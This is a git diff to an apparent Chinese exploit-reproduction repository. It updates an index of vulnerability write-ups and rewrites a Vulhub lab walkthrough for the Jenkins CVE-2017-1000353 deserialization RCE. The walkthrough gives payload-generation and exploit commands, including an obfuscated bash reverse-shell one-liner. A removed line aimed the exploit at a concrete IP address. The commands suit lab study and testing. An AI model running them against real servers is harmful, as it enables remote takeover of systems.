diff --git a/README.md b/README.md index 80b10af..d8aa99f 100644 --- a/README.md +++ b/README.md @@ -105,14 +105,6 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito * 狮子鱼CMS image_upload.php 任意文件上传 * 狮子鱼CMS wxapp.php 任意文件上传漏洞 * 齐博CMS V7 job.php 任意文件读取漏洞 -- MYPOC - - * (todo)Apache Tapestry 未授权远程命令执行漏洞 CVE-2021-27850 - * 禅道 11.6 api-getModel-api-getMethod-filePath 任意文件读取漏洞 - * 禅道 11.6 api-getModel-api-sql-sql 后台SQL注入漏洞 - * 禅道 11.6 api-getModel-editor-save-filePath 任意文件写入漏洞 - * 禅道 12.4.2 CSRF漏洞 CNVD-2020-68552 - * 禅道 12.4.2 后台任意文件上传漏洞 CNVD-C-2020-121325 - OA产品漏洞 * O2OA 9.0.3 版本 scriptingBlockedClasses 绕过导致远程代码执行 @@ -735,7 +727,9 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito * Zabbix Server trapper命令注入漏洞 CVE-2020-11800 - 云安全漏洞 + * Containerd 漏洞导致容器逃逸 CVE-2020-15257 * Docker build 漏洞导致命令执行 CVE-2019-13139 + * Docker copy 漏洞导致容器逃逸 CVE-2019-14271 * Docker daemon api 未授权访问漏洞 RCE * Kubernetes + Ubuntu 18.04 漏洞环境搭建 * Kubernetes API Server 未授权命令执行 @@ -756,6 +750,9 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito * VMware vCenter Server 任意文件读取漏洞 * VMware vCenter Server 服务器端请求伪造漏洞 CVE-2021-21973 * VMware vCenter Server 远程代码执行漏洞 CVE-2021-21972 + * 挂载 docker.sock 导致容器逃逸 + * 挂载 log 目录导致容器逃逸 + * 挂载宿主机 procfs 系统导致容器逃逸 - 人工智能漏洞 * browser-use WebUI pickle 反序列化漏洞 diff --git a/Web应用漏洞/Apache HertzBeat SnakeYaml 反序列化远程代码执行漏洞 CVE-2024-42323.md b/Web应用漏洞/Apache HertzBeat SnakeYaml 反序列化远程代码执行漏洞 CVE-2024-42323.md index 836ec3a..8a7ad68 100644 --- a/Web应用漏洞/Apache HertzBeat SnakeYaml 反序列化远程代码执行漏洞 CVE-2024-42323.md +++ b/Web应用漏洞/Apache HertzBeat SnakeYaml 反序列化远程代码执行漏洞 CVE-2024-42323.md @@ -1,4 +1,4 @@ -h# Apache HertzBeat SnakeYaml 反序列化远程代码执行漏洞 CVE-2024-42323 +# Apache HertzBeat SnakeYaml 反序列化远程代码执行漏洞 CVE-2024-42323 ## 漏洞描述 diff --git a/中间件漏洞/Jenkins-CI 远程代码执行漏洞 CVE-2017-1000353.md b/中间件漏洞/Jenkins-CI 远程代码执行漏洞 CVE-2017-1000353.md index 2235de2..4788c54 100644 --- a/中间件漏洞/Jenkins-CI 远程代码执行漏洞 CVE-2017-1000353.md +++ b/中间件漏洞/Jenkins-CI 远程代码执行漏洞 CVE-2017-1000353.md @@ -2,66 +2,47 @@ ## 漏洞描述 -攻击者可以将序列化的Java SignedObject对象,传输到基于远程处理的Jenkins CLI,这将最终造成反序列化,进而绕过现有基于黑名单的保护机制。 +攻击者可以将序列化的 Java SignedObject 对象,传输到基于远程处理的 Jenkins CLI,这将最终造成反序列化,进而绕过现有基于黑名单的保护机制。 参考阅读 https://blogs.securiteam.com/index.php/archives/3171 ## 环境搭建 -Vulhub执行如下命令启动jenkins 2.46.1: +Vulhub 执行如下命令启动 jenkins 2.46.1: ``` docker-compose up -d ``` -等待完全启动成功后,访问`http://your-ip:8080`即可看到jenkins已成功运行,无需手工安装。 +等待完全启动成功后,访问 `http://your-ip:8080` 即可看到 jenkins 已成功运行,无需手工安装。 ## 漏洞复现 -### 一、命令执行 +漏洞利用过程分为两个步骤:生成恶意序列化载荷,并将其发送至目标 Jenkins 服务器。 -#### 生成序列化字符串 +首先,下载 [CVE-2017-1000353-1.1-SNAPSHOT-all.jar](https://github.com/vulhub/CVE-2017-1000353/releases/download/1.1/CVE-2017-1000353-1.1-SNAPSHOT-all.jar) 工具来生成 payload。这个工具将创建一个包含我们命令的序列化对象: -参考https://github.com/vulhub/CVE-2017-1000353,首先下载[CVE-2017-1000353-1.1-SNAPSHOT-all.jar](https://github.com/vulhub/CVE-2017-1000353/releases/download/1.1/CVE-2017-1000353-1.1-SNAPSHOT-all.jar),这是生成POC的工具。 +```shell +java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/awesome_poc" +# jenkins_poc.ser 是生成的输出文件名 +# "touch ..." 是要执行的命令 -执行下面命令,生成字节码文件: - -```bash -java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success" -# jenkins_poc.ser是生成的字节码文件名 -# "touch ..."是待执行的任意命令 +# REVERSE SHELL +# java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar revshell.ser "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" ``` -执行上述代码后,生成jenkins_poc.ser文件,这就是序列化字符串。 +**注意**:生成 payload 时的 Java 版本很重要,建议使用 OpenJDK 8u292 版本。其他版本的 Java 可能导致生成的 payload 无法成功利用。如果遇到问题,可以使用以下命令在 Docker 中生成 payload: -#### 发送数据包,执行命令 - -下载[exploit.py](https://github.com/vulhub/CVE-2017-1000353/blob/master/exploit.py),python3执行`python exploit.py http://your-ip:8080 jenkins_poc.ser`,将刚才生成的字节码文件发送给目标: - -![img](images/Jenkins-CI%20远程代码执行漏洞%20CVE-2017-1000353/1-168180280232532.png) - -进入docker,发现`/tmp/success`成功被创建,说明命令执行漏洞利用成功: - -![img](images/Jenkins-CI%20远程代码执行漏洞%20CVE-2017-1000353/2-168180280232533.png) - -### 二、反弹shell - -#### 生成序列化字符串 - -执行下面命令,生成字节码文件 p.ser: - -``` -java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar p.ser "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" +```shell +docker run --rm -v $(pwd):/tmp openjdk:8u292 bash -c "cd /tmp && java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser \"touch /tmp/awesome_poc\"" ``` -#### 发送数据包,接收反弹shell +执行上述命令后,将生成一个名为 `jenkins_poc.ser` 的文件,其中包含序列化后的 payload。 -``` -python CVE-2017-1000353.py http://39.106.155.180:11314/ p.ser -``` +下载 [exploit.py](https://github.com/vulhub/CVE-2017-1000353/blob/master/exploit.py),执行 `python exploit.py http://your-ip:8080 jenkins_poc.ser`,将刚才生成的字节码文件发送给目标: -![](images/Jenkins-CI%20远程代码执行漏洞%20CVE-2017-1000353/image-20240327090427931.png) +![](images/Jenkins-CI%20远程代码执行漏洞%20CVE-2017-1000353/image-20250526111839874.png) -成功接收反弹shell: +进入 docker,发现 `/tmp/success` 成功被创建,说明命令执行漏洞利用成功: -![](images/Jenkins-CI%20远程代码执行漏洞%20CVE-2017-1000353/image-20240327090742675.png) +![](images/Jenkins-CI%20远程代码执行漏洞%20CVE-2017-1000353/image-20250526111826279.png) diff --git a/中间件漏洞/images/Jenkins-CI 远程代码执行漏洞 CVE-2017-1000353/image-20250526111826279.png b/中间件漏洞/images/Jenkins-CI 远程代码执行漏洞 CVE-2017-1000353/image-20250526111826279.png new file mode 100644 index 0000000..79e4066 Binary files /dev/null and b/中间件漏洞/images/Jenkins-CI 远程代码执行漏洞 CVE-2017-1000353/image-20250526111826279.png differ diff --git a/中间件漏洞/images/Jenkins-CI 远程代码执行漏洞 CVE-2017-1000353/image-20250526111839874.png b/中间件漏洞/images/Jenkins-CI 远程代码执行漏洞 CVE-2017-1000353/image-20250526111839874.png new file mode 100644 index 0000000..89dee69 Binary files /dev/null and b/中间件漏洞/images/Jenkins-CI 远程代码执行漏洞 CVE-2017-1000353/image-20250526111839874.png differ